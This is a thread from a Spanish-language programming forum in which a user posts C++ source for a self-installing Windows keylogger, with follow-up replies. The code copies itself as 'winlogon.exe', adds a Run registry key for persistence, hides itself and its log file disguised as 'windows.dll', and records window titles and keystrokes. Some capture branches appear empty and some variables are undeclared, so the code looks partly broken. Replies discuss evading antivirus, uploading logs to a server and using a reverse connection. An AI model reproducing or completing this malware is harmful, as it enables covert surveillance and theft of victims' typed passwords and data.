Autor
|
Tema: [aporte]c keylogger solo con abrirlo se instala (Leído 3,324 veces)
|
daryo
|
vi algunos interesados en keylogger asi que traigo esto esta algo desordenado. perdon el desorden . aca un keyloggeer que hice se instala solo hecho para windows xp pero si quieren adaptarlo: IMPORTANTE PARA WINDOWS VISTA O POSTERIOR descomentar nunca probe esta parte del code talves se necesiten ligeras modificaciones adicionales/* char *instaladooo; instaladooo=getenv("USERPROFILE"); SetCurrentDirectory(instaladooo); */
#include <cstring> #include <windows.h> #include <fstream> #include <ctime> using namespace std; int main ( int argc, char *argv[] ) { HWND hwnd; char ventana[255]; char venta2[255]; //existe el archivo log? si no existe instalar keylogger :D ifstream logc; logc.open ( "windows.dll" ); if ( !logc.is_open() ) { //---- se busca la carpeta de usuario char * dirinstal; char archivo [70]; char * discolocal; dirinstal = getenv ( "HOMEPATH" );discolocal = getenv ( "SystemDrive" );strcpy ( archivo ,discolocal ); //se crea el archivo log ofstream logos; char winlog [70]; strcat ( winlog , "\\windows.dll" ); logos.open ( winlog, ios::out | ios::app ); logos.close (); //------- strcat ( archivo , "\\winlogon.exe" ); // se copia en la carpeta de usuario CopyFile ( argv[0], archivo, true ); //- ahora se añade al registro HKEY hkey; RegOpenKeyEx ( HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\run", 0, KEY_SET_VALUE, &hkey ); RegSetValueEx ( hkey, "windout", 0, REG_SZ, (const unsigned char * ) archivo, sizeof archivo ); RegCloseKey ( hkey ); //se esconden los archivos , el keylogger y el log SetFileAttributesA ( archivo, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM ); // ahora el log SetFileAttributesA ( winlog, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM ); //por ultimo se cierra el sistema esperando que se reinicie el pc return 0; } logc.close(); // abre el archivo log /* char *instalado instalado=getenv("USERPROFILE"); SetCurrentDirectory(instalado) */ log. open ( "windows.dll", ios ::out | ios ::app ); while ( true ) { //detecta cambio de ventana hwnd = GetForegroundWindow (); GetWindowText ( hwnd, ventana, 255 ); //---------------------- for(int x=65;x<=90;x++) //valores ascii de los caracteres { if ( GetAsyncKeyState ( x ) == -32767 ) { } } for ( int x=48; x<=57; x++ ) //valores ascii de los numeros { if ( GetAsyncKeyState (x) == -32767 ) { } } if ( GetAsyncKeyState ( ' ' ) == -32767) { } if ( GetAsyncKeyState (1) == -32767) { //CLICK izquierdo } if ( GetAsyncKeyState(2) == -32767 ) { //click derecho } if ( GetAsyncKeyState (8) == -32767 ) { // nada que decir } if ( GetAsyncKeyState (190) == -32767 ) { // nada que decir } if ( GetAsyncKeyState (188) == -32767 ) { // nada que decir } if ( GetAsyncKeyState (13) == -32767 ) { // nada que decir } //capturar flechas if(GetAsyncKeyState(37) == -32767) { // nada que decir } if(GetAsyncKeyState(38) == -32767 ) { // nada que decir } if(GetAsyncKeyState(39) == -32767 ) { // nada que decir } if(GetAsyncKeyState(40) == -32767) { // nada que decir } if(GetAsyncKeyState(9) == -32767) { } //detecta cambio de ventana con otra variable hwnd = GetForegroundWindow (); GetWindowText ( hwnd, venta2, 255 ); //compara las viarablews de cambio de ventana if ( strcmp ( ventana , venta2 ) != 0 ) { //ventana a comparar char key[]= "lolwinlogonlol"; // sera el nombre de la ventana que cierre el proceso if ( strcmp ( ventana ,key )== 0 ) { return 0; } //calcular la fecha time_t tiempo = time (0);char output[128]; strftime ( output , 128, "%d/%m/%y %H:%M:%S", tlocal ); //-------------------- log << endl << "-------------------------" << endl ; log << "fecha:" << output << endl ; log << endl << "ventana:"<< venta2 << endl ; } } return 0; }
leer logs.cpp #include <iostream> #include <cstring> #include <windows.h> using namespace std; int main() { char direccion[70]="notepad \""; char *disco; char *varsis; SetConsoleTitle("lolwinlogonlol"); cout << "espere mientras se abre el archivo:" << endl; varsis=getenv("HOMEPATH"); disco=getenv("SystemDrive"); strcat(direccion,disco);strcat(direccion,varsis);strcat(direccion,"\\windows.dll\""); system(direccion); cout << "lol" ; return 0; }
|
|
|
En línea
|
buenas
|
|
|
aguml
Desconectado
Mensajes: 378
|
me parece muy interesante el codigo pero yo creo que en la zona donde haces uso de muchos condicionales if podrias haber usado in switch y hacer el codigo mas eficiente ya que solo entraria en uno de esos if pero la comprobacion seria en todos y con el switch no es asi. Otro detalle es como se lo tomaran los antivirus jejeje.
|
|
|
En línea
|
|
|
|
OmarHack
Desconectado
Mensajes: 1.268
|
¿Lo hiciste tú? La verdad es que es menos código del que pensaba. Tiene buena pinta, ahora solo habría que añadirle una función para subir el archivo cada x tiempo a un servidor y otra para que se permita el programa en el firewall y queda uno keylogger dpm.
|
|
|
En línea
|
I like to test things.
|
|
|
daryo
|
me parece muy interesante el codigo pero yo creo que en la zona donde haces uso de muchos condicionales if podrias haber usado in switch y hacer el codigo mas eficiente ya que solo entraria en uno de esos if pero la comprobacion seria en todos y con el switch no es asi. Otro detalle es como se lo tomaran los antivirus jejeje.
pues mira que lo he usado en mas de una ocasion con varios av , espero que no lo empiezen a detectar por subirlo aca ¿Lo hiciste tú? La verdad es que es menos código del que pensaba. Tiene buena pinta, ahora solo habría que añadirle una función para subir el archivo cada x tiempo a un servidor y otra para que se permita el programa en el firewall y queda uno keylogger dpm. sip yo lo hice . No estaria mal que subieras el code si le pongas esas cosas pero lo del firewall no hace falta con conexion inversa es suficiente
|
|
|
En línea
|
buenas
|
|
|
OmarHack
Desconectado
Mensajes: 1.268
|
Mi firewall controla también las conexiones salientes, por eso digo lo de abrir el firewall, pero también es muy buena idea. Hace tiempo que estoy haciendo un navegador y bueno... xD Mejor no digo como va. Me falta mucho en sockets, pero seguro que en un futuro lo intento.
|
|
|
En línea
|
I like to test things.
|
|
|
maxim_o
Desconectado
Mensajes: 186
|
El teclado numerico que valores ascii tendria? Por que probando de forma sencilla me da los valores de a,b,c,d,e... en minusculas.... Y las letras normales en Mayusculas.... (NO es tu keylogger, desconozco si hay coge bien el teclado numerico) Este "bucle" for (int x = 0; x <=255; x++) { if (GetAsyncKeyState(x) == -32767) { cout << "Codigo tecla :" << x << " La Tecla presionada es : "; printf ("%c\n", x); } }
|
|
|
En línea
|
|
|
|
daryo
|
(NO es tu keylogger
como que no es mio? podrias aclararte
|
|
|
En línea
|
buenas
|
|
|
maxim_o
Desconectado
Mensajes: 186
|
Ahhhh perdón si se entendio mal, me referia en ese codigo que puse que los valores del teclado numerico no los cogia bien..... Y las caracteres los cogia como mayusculas... (en el código que puse yo)
Que en tu keyloger, no se si pasa lo mismo, que no lo había probado, a eso me refería!
Sorry si me explique mal.
Saludos
|
|
|
En línea
|
|
|
|
daryo
|
Ahhhh perdón si se entendio mal, me referia en ese codigo que puse que los valores del teclado numerico no los cogia bien..... Y las caracteres los cogia como mayusculas... (en el código que puse yo)
Que en tu keyloger, no se si pasa lo mismo, que no lo había probado, a eso me refería!
Sorry si me explique mal.
Saludos
ok n_n
|
|
|
En línea
|
buenas
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
pequeño aporte(proxy),pero aporte al fin.:D
Programación Visual Basic
|
Tengu
|
0
|
2,605
|
22 Julio 2007, 17:33 pm
por Tengu
|
|
|
Alguien sabe de un programa tipo Keylogger pero que sólo tome capturas?
Foro Libre
|
reethok
|
1
|
2,516
|
30 Junio 2011, 05:38 am
por Embusterillo de bolsillo
|
|
|
TextBox que solo acepta números enteros o de punto flotante [¿Aporte?]
.NET (C#, VB.NET, ASP)
|
Xavelets
|
3
|
8,284
|
21 Septiembre 2011, 23:38 pm
por Xavelets
|
|
|
Keylogger en python(con win32api)[APORTE]
Scripting
|
WarZ0n3
|
1
|
3,131
|
17 Abril 2013, 19:33 pm
por daryo
|
|
|
[aporte]codigo c solo permitir una ejecucion a la vez
Programación C/C++
|
daryo
|
9
|
4,550
|
10 Junio 2013, 01:29 am
por daryo
|
|